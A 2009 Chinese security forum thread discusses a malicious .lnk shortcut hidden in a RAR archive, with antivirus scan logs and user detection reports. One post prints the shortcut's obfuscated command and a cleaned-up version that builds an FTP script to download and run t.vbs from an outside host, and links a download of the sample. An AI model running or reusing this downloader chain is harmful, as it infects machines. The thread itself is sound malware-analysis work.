小心你想珍惜的人...

显示全部楼层 · 发表于 2009-10-9 20:08:32

反病毒专家 AntiVirusKit 2006 扫描病毒日志记录
版本 16.0.7
双引擎反病毒签名 2009-9-27
开始时间: 2009-10-9 20:08
引擎: KAV 引擎 (AVK 19.8104), BD 引擎 (BD 18.1468)
高启发式: 打开
压缩文件: 打开
系统区域: 打开

扫描系统区域...
扫描所选择的目录和文件...
对象: 稱?堡??.lnk
在压缩档案里: C:\Documents and Settings\Administrator\桌面\想珍惜的人.rar
Status: 已发现病毒
病毒: Trojan-Downloader.Win32.Pif.rw (KAV 引擎)
对象: 想珍惜的人.rar
路径: C:\Documents and Settings\Administrator\桌面
Status: 文件移入隔离区
病毒: Trojan-Downloader.Win32.Pif.rw (KAV 引擎)
扫描完成: 2009-10-9 20:08
已检查 1 个文件
已发现 1 个染毒文件
发现 0 个可疑文件

显示全部楼层 · 发表于 2009-10-9 21:47:47

这个在台湾很常见...
用 Lnk 捷径呼叫 CMD 调用FTP 下载恶意文件

代码如下

%ComSpec% /c set q=et t t&set w=03z.c&set e=ftp.g&set t=p -s:x&set n=echo &echo %n%o %e%%w%om^>x>g&echo %n%aa33^>^>x>>g&echo %n%bb33^>^>x>>g&echo %n%g%q%.vbs^>^>x>>g&echo %n%bye^>^>x>>g&echo ft%t%>>g&echo start t.vbs>>g&ren g o.bat&call o.bat&

复制代码

整理一下为

CMD /c
echo echo o ftp.g03z.com^>x>g
echo echo aa33^>^>x>>g
echo echo bb33^>^>x>>g
echo echo get t t.vbs^>^>x>>g
echo echo bye^>^>x>>g
echo ftp -s:x>>g
echo start t.vbs>>g
ren g o.bat
call o.bat

复制代码

會下載t.vbs

再利用 t.vbs 下载d.exe 主要的恶意文件...

附上下载物...
http://www.sendspace.com/file/1f7kcm

显示全部楼层 · 发表于 2009-10-9 22:44:01

囧~真羡慕楼主邮箱都能收到病毒，我都邮箱是 jiongshencanshang@163.com 都来给我发病毒吧~感谢给我发毒的各位，囧囧囧~

显示全部楼层 · 发表于 2009-10-9 23:02:48

2009/10/9 23:02:17 已清除木马程序 Trojan-Downloader.Win32.Pif.rw G:\Temp\Virus\想珍惜的人.rar/稱?堡??.lnk

显示全部楼层 · 发表于 2009-10-9 23:03:10

UGuard 7 Preview
想珍惜的人[1].rar//稱?堡??.lnk - 检测到 Heur.LNKDownloader

显示全部楼层 · 发表于 2009-10-10 00:18:19

过MSE，没反应

[病毒样本] 小心你想珍惜的人...